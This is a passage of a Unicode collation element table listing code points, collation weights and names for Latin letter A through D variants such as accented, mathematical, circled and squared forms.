MATHEMATICAL SANS-SERIF BOLD SMALL A -1D622 ; [.1C47.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL A -1D656 ; [.1C47.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL A -1D68A ; [.1C47.0020.0005] # MATHEMATICAL MONOSPACE SMALL A -24D0 ; [.1C47.0020.0006] # CIRCLED LATIN SMALL LETTER A -0041 ; [.1C47.0020.0008] # LATIN CAPITAL LETTER A -FF21 ; [.1C47.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER A -1F110 ; [*0317.0020.0004][.1C47.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER A -1D400 ; [.1C47.0020.000B] # MATHEMATICAL BOLD CAPITAL A -1D434 ; [.1C47.0020.000B] # MATHEMATICAL ITALIC CAPITAL A -1D468 ; [.1C47.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL A -1D49C ; [.1C47.0020.000B] # MATHEMATICAL SCRIPT CAPITAL A -1D4D0 ; [.1C47.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL A -1D504 ; [.1C47.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL A -1D538 ; [.1C47.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL A -1D56C ; [.1C47.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL A -1D5A0 ; [.1C47.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL A -1D5D4 ; [.1C47.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL A -1D608 ; [.1C47.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL A -1D63C ; [.1C47.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL A -1D670 ; [.1C47.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL A -24B6 ; [.1C47.0020.000C] # CIRCLED LATIN CAPITAL LETTER A -1F150 ; [.1C47.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER A -00AA ; [.1C47.0020.0014] # FEMININE ORDINAL INDICATOR -1D43 ; [.1C47.0020.0014] # MODIFIER LETTER SMALL A -2090 ; [.1C47.0020.0015] # LATIN SUBSCRIPT SMALL LETTER A -1D2C ; [.1C47.0020.001D] # MODIFIER LETTER CAPITAL A -1F130 ; [.1C47.0020.001D] # SQUARED LATIN CAPITAL LETTER A -1F170 ; [.1C47.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER A -00E1 ; [.1C47.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH ACUTE -00C1 ; [.1C47.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH ACUTE -00E0 ; [.1C47.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH GRAVE -00C0 ; [.1C47.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH GRAVE -0103 ; [.1C47.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER A WITH BREVE -0102 ; [.1C47.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER A WITH BREVE -1EAF ; [.1C47.0020.0002][.0000.0026.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH BREVE AND ACUTE -1EAE ; [.1C47.0020.0008][.0000.0026.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE -1EB1 ; [.1C47.0020.0002][.0000.0026.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE -1EB0 ; [.1C47.0020.0008][.0000.0026.0002][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE -1EB5 ; [.1C47.0020.0002][.0000.0026.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH BREVE AND TILDE -1EB4 ; [.1C47.0020.0008][.0000.0026.0002][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE -1EB3 ; [.1C47.0020.0002][.0000.0026.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE -1EB2 ; [.1C47.0020.0008][.0000.0026.0002][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE -00E2 ; [.1C47.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX -00C2 ; [.1C47.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX -1EA5 ; [.1C47.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE -1EA4 ; [.1C47.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE -1EA7 ; [.1C47.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE -1EA6 ; [.1C47.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE -1EAB ; [.1C47.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE -1EAA ; [.1C47.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE -1EA9 ; [.1C47.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE -1EA8 ; [.1C47.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE -01CE ; [.1C47.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER A WITH CARON -01CD ; [.1C47.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER A WITH CARON -00E5 ; [.1C47.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1C47.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1C47.0020.0008][.0000.0029.0002] # ANGSTROM SIGN -01FB ; [.1C47.0020.0002][.0000.0029.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1C47.0020.0008][.0000.0029.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE -00E4 ; [.1C47.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER A WITH DIAERESIS -1DF2 ; [.1C47.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER A WITH DIAERESIS -A79B ; [.1C47.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK AE -00C4 ; [.1C47.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS -A79A ; [.1C47.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK AE -01DF ; [.1C47.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1C47.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -00E3 ; [.1C47.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH TILDE -00C3 ; [.1C47.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH TILDE -0227 ; [.1C47.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER A WITH DOT ABOVE -0226 ; [.1C47.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER A WITH DOT ABOVE -01E1 ; [.1C47.0020.0002][.0000.002E.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON -01E0 ; [.1C47.0020.0008][.0000.002E.0002][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON -0105 ; [.1C47.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER A WITH OGONEK -0104 ; [.1C47.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER A WITH OGONEK -0101 ; [.1C47.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH MACRON -0100 ; [.1C47.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH MACRON -1EA3 ; [.1C47.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH HOOK ABOVE -1EA2 ; [.1C47.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH HOOK ABOVE -0201 ; [.1C47.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER A WITH DOUBLE GRAVE -0200 ; [.1C47.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER A WITH DOUBLE GRAVE -0203 ; [.1C47.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER A WITH INVERTED BREVE -0202 ; [.1C47.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER A WITH INVERTED BREVE -1EA1 ; [.1C47.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH DOT BELOW -1EA0 ; [.1C47.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH DOT BELOW -1EB7 ; [.1C47.0020.0002][.0000.0042.0002][.0000.0026.0002] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW -1EB6 ; [.1C47.0020.0008][.0000.0042.0002][.0000.0026.0002] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW -1EAD ; [.1C47.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW -1EAC ; [.1C47.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW -1E01 ; [.1C47.0020.0002][.0000.0044.0002] # LATIN SMALL LETTER A WITH RING BELOW -1E00 ; [.1C47.0020.0008][.0000.0044.0002] # LATIN CAPITAL LETTER A WITH RING BELOW -1DD3 ; [.1C47.0020.0004][.0000.0110.0004] # COMBINING LATIN SMALL LETTER FLATTENED OPEN A ABOVE -A733 ; [.1C47.0020.0004][.1C47.0020.0004] # LATIN SMALL LETTER AA -A732 ; [.1C47.0020.000A][.1C47.0020.000A] # LATIN CAPITAL LETTER AA -1F18E ; [.1C47.0020.001D][.1C60.0020.001D] # NEGATIVE SQUARED AB -2100 ; [.1C47.0020.0004][*0394.0020.0004][.1C7A.0020.0004] # ACCOUNT OF -00E6 ; [.1C47.0020.0004][.0000.0110.0004][.1CAA.0020.0004] # LATIN SMALL LETTER AE -1DD4 ; [.1C47.0020.0004][.0000.0110.0004][.1CAA.0020.0004] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1C47.0020.000A][.0000.0110.0004][.1CAA.0020.000A] # LATIN CAPITAL LETTER AE -1D2D ; [.1C47.0020.0014][.0000.0110.0014][.1CAA.0020.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1C47.0020.0004][.0000.0110.0004][.1CAA.0020.0004][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1C47.0020.000A][.0000.0110.0004][.1CAA.0020.000A][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1C47.0020.0004][.0000.0110.0004][.1CAA.0020.0004][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1C47.0020.000A][.0000.0110.0004][.1CAA.0020.000A][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -33C2 ; [.1C47.0020.001C][*0277.0020.001C][.1DAA.0020.001C][*0277.0020.001C] # SQUARE AM -33DF ; [.1C47.0020.001D][*0625.0020.001C][.1DAA.0020.001C] # SQUARE A OVER M -1DD5 ; [.1C47.0020.0004][.1DDD.0020.0004] # COMBINING LATIN SMALL LETTER AO -A735 ; [.1C47.0020.0004][.1DDD.0020.0004] # LATIN SMALL LETTER AO -A734 ; [.1C47.0020.000A][.1DDD.0020.000A] # LATIN CAPITAL LETTER AO -2101 ; [.1C47.0020.0004][*0394.0020.0004][.1E71.0020.0004] # ADDRESSED TO THE SUBJECT -214D ; [.1C47.0020.000A][*0394.0020.0004][.1E71.0020.000A] # AKTIESELSKAB -A737 ; [.1C47.0020.0004][.1EB5.0020.0004] # LATIN SMALL LETTER AU -A736 ; [.1C47.0020.000A][.1EB5.0020.000A] # LATIN CAPITAL LETTER AU -3373 ; [.1C47.0020.001D][.1EB5.0020.001D] # SQUARE AU -1DD6 ; [.1C47.0020.0004][.1EE3.0020.0004] # COMBINING LATIN SMALL LETTER AV -A739 ; [.1C47.0020.0004][.1EE3.0020.0004] # LATIN SMALL LETTER AV -A738 ; [.1C47.0020.000A][.1EE3.0020.000A] # LATIN CAPITAL LETTER AV -A73B ; [.1C47.0020.0004][.0000.0110.0004][.1EE3.0020.0004] # LATIN SMALL LETTER AV WITH HORIZONTAL BAR -A73A ; [.1C47.0020.000A][.0000.0110.0004][.1EE3.0020.000A] # LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR -A73D ; [.1C47.0020.0004][.1F0B.0020.0004] # LATIN SMALL LETTER AY -A73C ; [.1C47.0020.000A][.1F0B.0020.000A] # LATIN CAPITAL LETTER AY -1E9A ; [.1C47.0020.0004][.1F80.0020.0004] # LATIN SMALL LETTER A WITH RIGHT HALF RING -1D00 ; [.1C4B.0020.0002] # LATIN LETTER SMALL CAPITAL A -2C65 ; [.1C4C.0020.0002] # LATIN SMALL LETTER A WITH STROKE -023A ; [.1C4C.0020.0008] # LATIN CAPITAL LETTER A WITH STROKE -1D8F ; [.1C4D.0020.0002] # LATIN SMALL LETTER A WITH RETROFLEX HOOK -1D01 ; [.1C4E.0020.0002] # LATIN LETTER SMALL CAPITAL AE -1D02 ; [.1C4F.0020.0002] # LATIN SMALL LETTER TURNED AE -1D46 ; [.1C4F.0020.0014] # MODIFIER LETTER SMALL TURNED AE -AB31 ; [.1C50.0020.0002] # LATIN SMALL LETTER A REVERSED-SCHWA -0250 ; [.1C51.0020.0002] # LATIN SMALL LETTER TURNED A -2C6F ; [.1C51.0020.0008] # LATIN CAPITAL LETTER TURNED A -1D44 ; [.1C51.0020.0014] # MODIFIER LETTER SMALL TURNED A -0251 ; [.1C55.0020.0002] # LATIN SMALL LETTER ALPHA -1DE7 ; [.1C55.0020.0004] # COMBINING LATIN SMALL LETTER ALPHA -2C6D ; [.1C55.0020.0008] # LATIN CAPITAL LETTER ALPHA -1D45 ; [.1C55.0020.0014] # MODIFIER LETTER SMALL ALPHA -AB30 ; [.1C59.0020.0002] # LATIN SMALL LETTER BARRED ALPHA -1D90 ; [.1C5A.0020.0002] # LATIN SMALL LETTER ALPHA WITH RETROFLEX HOOK -0252 ; [.1C5B.0020.0002] # LATIN SMALL LETTER TURNED ALPHA -2C70 ; [.1C5B.0020.0008] # LATIN CAPITAL LETTER TURNED ALPHA -1D9B ; [.1C5B.0020.0014] # MODIFIER LETTER SMALL TURNED ALPHA -AB64 ; [.1C5F.0020.0002] # LATIN SMALL LETTER INVERTED ALPHA -0062 ; [.1C60.0020.0002] # LATIN SMALL LETTER B -FF42 ; [.1C60.0020.0003] # FULLWIDTH LATIN SMALL LETTER B -1DE8 ; [.1C60.0020.0004] # COMBINING LATIN SMALL LETTER B -249D ; [*0317.0020.0004][.1C60.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER B -1D41B ; [.1C60.0020.0005] # MATHEMATICAL BOLD SMALL B -1D44F ; [.1C60.0020.0005] # MATHEMATICAL ITALIC SMALL B -1D483 ; [.1C60.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL B -1D4B7 ; [.1C60.0020.0005] # MATHEMATICAL SCRIPT SMALL B -1D4EB ; [.1C60.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL B -1D51F ; [.1C60.0020.0005] # MATHEMATICAL FRAKTUR SMALL B -1D553 ; [.1C60.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL B -1D587 ; [.1C60.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL B -1D5BB ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF SMALL B -1D5EF ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL B -1D623 ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL B -1D657 ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL B -1D68B ; [.1C60.0020.0005] # MATHEMATICAL MONOSPACE SMALL B -24D1 ; [.1C60.0020.0006] # CIRCLED LATIN SMALL LETTER B -0042 ; [.1C60.0020.0008] # LATIN CAPITAL LETTER B -FF22 ; [.1C60.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER B -1F111 ; [*0317.0020.0004][.1C60.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER B -212C ; [.1C60.0020.000B] # SCRIPT CAPITAL B -1D401 ; [.1C60.0020.000B] # MATHEMATICAL BOLD CAPITAL B -1D435 ; [.1C60.0020.000B] # MATHEMATICAL ITALIC CAPITAL B -1D469 ; [.1C60.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL B -1D4D1 ; [.1C60.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL B -1D505 ; [.1C60.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL B -1D539 ; [.1C60.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL B -1D56D ; [.1C60.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL B -1D5A1 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL B -1D5D5 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL B -1D609 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL B -1D63D ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL B -1D671 ; [.1C60.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL B -24B7 ; [.1C60.0020.000C] # CIRCLED LATIN CAPITAL LETTER B -1F151 ; [.1C60.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER B -1D47 ; [.1C60.0020.0014] # MODIFIER LETTER SMALL B -1D2E ; [.1C60.0020.001D] # MODIFIER LETTER CAPITAL B -1F131 ; [.1C60.0020.001D] # SQUARED LATIN CAPITAL LETTER B -1F171 ; [.1C60.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER B -1E03 ; [.1C60.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER B WITH DOT ABOVE -1E02 ; [.1C60.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER B WITH DOT ABOVE -1E05 ; [.1C60.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER B WITH DOT BELOW -1E04 ; [.1C60.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER B WITH DOT BELOW -1E07 ; [.1C60.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER B WITH LINE BELOW -1E06 ; [.1C60.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER B WITH LINE BELOW -3374 ; [.1C60.0020.001C][.1C47.0020.001C][.1E33.0020.001C] # SQUARE BAR -33C3 ; [.1C60.0020.001D][.1E21.0020.001C] # SQUARE BQ -0299 ; [.1C64.0020.0002] # LATIN LETTER SMALL CAPITAL B -0180 ; [.1C68.0020.0002] # LATIN SMALL LETTER B WITH STROKE -0243 ; [.1C68.0020.0008] # LATIN CAPITAL LETTER B WITH STROKE -1D2F ; [.1C6C.0020.0002] # MODIFIER LETTER CAPITAL BARRED B -1D03 ; [.1C6D.0020.0002] # LATIN LETTER SMALL CAPITAL BARRED B -1D6C ; [.1C6E.0020.0002] # LATIN SMALL LETTER B WITH MIDDLE TILDE -A797 ; [.1C6F.0020.0002] # LATIN SMALL LETTER B WITH FLOURISH -A796 ; [.1C6F.0020.0008] # LATIN CAPITAL LETTER B WITH FLOURISH -1D80 ; [.1C70.0020.0002] # LATIN SMALL LETTER B WITH PALATAL HOOK -0253 ; [.1C71.0020.0002] # LATIN SMALL LETTER B WITH HOOK -0181 ; [.1C71.0020.0008] # LATIN CAPITAL LETTER B WITH HOOK -0183 ; [.1C75.0020.0002] # LATIN SMALL LETTER B WITH TOPBAR -0182 ; [.1C75.0020.0008] # LATIN CAPITAL LETTER B WITH TOPBAR -A7B5 ; [.1C79.0020.0002] # LATIN SMALL LETTER BETA -1DE9 ; [.1C79.0020.0004] # COMBINING LATIN SMALL LETTER BETA -A7B4 ; [.1C79.0020.0008] # LATIN CAPITAL LETTER BETA -0063 ; [.1C7A.0020.0002] # LATIN SMALL LETTER C -FF43 ; [.1C7A.0020.0003] # FULLWIDTH LATIN SMALL LETTER C -0368 ; [.1C7A.0020.0004] # COMBINING LATIN SMALL LETTER C -217D ; [.1C7A.0020.0004] # SMALL ROMAN NUMERAL ONE HUNDRED -249E ; [*0317.0020.0004][.1C7A.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER C -1D41C ; [.1C7A.0020.0005] # MATHEMATICAL BOLD SMALL C -1D450 ; [.1C7A.0020.0005] # MATHEMATICAL ITALIC SMALL C -1D484 ; [.1C7A.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL C -1D4B8 ; [.1C7A.0020.0005] # MATHEMATICAL SCRIPT SMALL C -1D4EC ; [.1C7A.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL C -1D520 ; [.1C7A.0020.0005] # MATHEMATICAL FRAKTUR SMALL C -1D554 ; [.1C7A.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL C -1D588 ; [.1C7A.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL C -1D5BC ; [.1C7A.0020.0005] # MATHEMATICAL SANS-SERIF SMALL C -1D5F0 ; [.1C7A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL C -1D624 ; [.1C7A.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL C -1D658 ; [.1C7A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL C -1D68C ; [.1C7A.0020.0005] # MATHEMATICAL MONOSPACE SMALL C -24D2 ; [.1C7A.0020.0006] # CIRCLED LATIN SMALL LETTER C -0043 ; [.1C7A.0020.0008] # LATIN CAPITAL LETTER C -FF23 ; [.1C7A.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER C -2103 ; [*04F6.0020.0004][.1C7A.0020.000A] # DEGREE CELSIUS -216D ; [.1C7A.0020.000A] # ROMAN NUMERAL ONE HUNDRED -1F112 ; [*0317.0020.0004][.1C7A.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER C -2102 ; [.1C7A.0020.000B] # DOUBLE-STRUCK CAPITAL C -212D ; [.1C7A.0020.000B] # BLACK-LETTER CAPITAL C -1D402 ; [.1C7A.0020.000B] # MATHEMATICAL BOLD CAPITAL C -1D436 ; [.1C7A.0020.000B] # MATHEMATICAL ITALIC CAPITAL C -1D46A ; [.1C7A.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL C -1D49E ; [.1C7A.0020.000B] # MATHEMATICAL SCRIPT CAPITAL C -1D4D2 ; [.1C7A.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL C -1D56E ; [.1C7A.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL C -1D5A2 ; [.1C7A.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL C -1D5D6 ; [.1C7A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL C -1D60A ; [.1C7A.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL C -1D63E ; [.1C7A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL C -1D672 ; [.1C7A.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL C -24B8 ; [.1C7A.0020.000C] # CIRCLED LATIN CAPITAL LETTER C -1F12B ; [.1C7A.0020.000C] # CIRCLED ITALIC LATIN CAPITAL LETTER C -1F152 ; [.1C7A.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER C -1D9C ; [.1C7A.0020.0014] # MODIFIER LETTER SMALL C -1F132 ; [.1C7A.0020.001D] # SQUARED LATIN CAPITAL LETTER C -1F172 ; [.1C7A.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER C -0107 ; [.1C7A.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER C WITH ACUTE -0106 ; [.1C7A.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER C WITH ACUTE -0109 ; [.1C7A.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX -0108 ; [.1C7A.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX -010D ; [.1C7A.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER C WITH CARON -010C ; [.1C7A.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER C WITH CARON -010B ; [.1C7A.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER C WITH DOT ABOVE -010A ; [.1C7A.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER C WITH DOT ABOVE -00E7 ; [.1C7A.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER C WITH CEDILLA -1DD7 ; [.1C7A.0020.0004][.0000.0030.0004] # COMBINING LATIN SMALL LETTER C CEDILLA -00C7 ; [.1C7A.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER C WITH CEDILLA -1E09 ; [.1C7A.0020.0002][.0000.0030.0002][.0000.0024.0002] # LATIN SMALL LETTER C WITH CEDILLA AND ACUTE -1E08 ; [.1C7A.0020.0008][.0000.0030.0002][.0000.0024.0002] # LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE -3388 ; [.1C7A.0020.001C][.1C47.0020.001C][.1D77.0020.001C] # SQUARE CAL -33C4 ; [.1C7A.0020.001C][.1C7A.0020.001C] # SQUARE CC -1F12D ; [.1C7A.0020.000C][.1C8F.0020.000C] # CIRCLED CD -33C5 ; [.1C7A.0020.001C][.1C8F.0020.001C] # SQUARE CD -33C6 ; [.1C7A.0020.001D][*0625.0020.001C][.1D65.0020.001C][.1CF4.0020.001C] # SQUARE C OVER KG -1F191 ; [.1C7A.0020.001D][.1D77.0020.001D] # SQUARED CL -339D ; [.1C7A.0020.001C][.1DAA.0020.001C] # SQUARE CM -33A0 ; [.1C7A.0020.001C][.1DAA.0020.001C][.1C3F.0020.001C] # SQUARE CM SQUARED -33A4 ; [.1C7A.0020.001C][.1DAA.0020.001C][.1C40.0020.001C] # SQUARE CM CUBED -2105 ; [.1C7A.0020.0004][*0394.0020.0004][.1DDD.0020.0004] # CARE OF -33C7 ; [.1C7A.0020.001D][.1DDD.0020.001C][*0277.0020.001C] # SQUARE CO -1F192 ; [.1C7A.0020.001D][.1DDD.0020.001D][.1DDD.0020.001D][.1D77.0020.001D] # SQUARED COOL -2106 ; [.1C7A.0020.0004][*0394.0020.0004][.1EB5.0020.0004] # CADA UNA -1D04 ; [.1C7E.0020.0002] # LATIN LETTER SMALL CAPITAL C -023C ; [.1C7F.0020.0002] # LATIN SMALL LETTER C WITH STROKE -023B ; [.1C7F.0020.0008] # LATIN CAPITAL LETTER C WITH STROKE -A793 ; [.1C83.0020.0002] # LATIN SMALL LETTER C WITH BAR -A792 ; [.1C83.0020.0008] # LATIN CAPITAL LETTER C WITH BAR -A794 ; [.1C84.0020.0002] # LATIN SMALL LETTER C WITH PALATAL HOOK -0188 ; [.1C85.0020.0002] # LATIN SMALL LETTER C WITH HOOK -0187 ; [.1C85.0020.0008] # LATIN CAPITAL LETTER C WITH HOOK -0255 ; [.1C89.0020.0002] # LATIN SMALL LETTER C WITH CURL -1D9D ; [.1C89.0020.0014] # MODIFIER LETTER SMALL C WITH CURL -2184 ; [.1C8D.0020.0002] # LATIN SMALL LETTER REVERSED C -2183 ; [.1C8D.0020.0008] # ROMAN NUMERAL REVERSED ONE HUNDRED -A73F ; [.1C8E.0020.0002] # LATIN SMALL LETTER REVERSED C WITH DOT -A73E ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER REVERSED C WITH DOT -0064 ; [.1C8F.0020.0002] # LATIN SMALL LETTER D -FF44 ; [.1C8F.0020.0003] # FULLWIDTH LATIN SMALL LETTER D -0369 ; [.1C8F.0020.0004] # COMBINING LATIN SMALL LETTER D -217E ; [.1C8F.0020.0004] # SMALL ROMAN NUMERAL FIVE HUNDRED -249F ; [*0317.0020.0004][.1C8F.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER D -2146 ; [.1C8F.0020.0005] # DOUBLE-STRUCK ITALIC SMALL D -1D41D ; [.1C8F.0020.0005] # MATHEMATICAL BOLD SMALL D -1D451 ; [.1C8F.0020.0005] # MATHEMATICAL ITALIC SMALL D -1D485 ; [.1C8F.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL D -1D4B9 ; [.1C8F.0020.0005] # MATHEMATICAL SCRIPT SMALL D -1D4ED ; [.1C8F.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL D -1D521 ; [.1C8F.0020.0005] # MATHEMATICAL FRAKTUR SMALL D -1D555 ; [.1C8F.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL D -1D589 ; [.1C8F.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL D -1D5BD ; [.1C8F.0020.0005] # MATHEMATICAL SANS-SERIF SMALL D -1D5F1 ; [.1C8F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL D 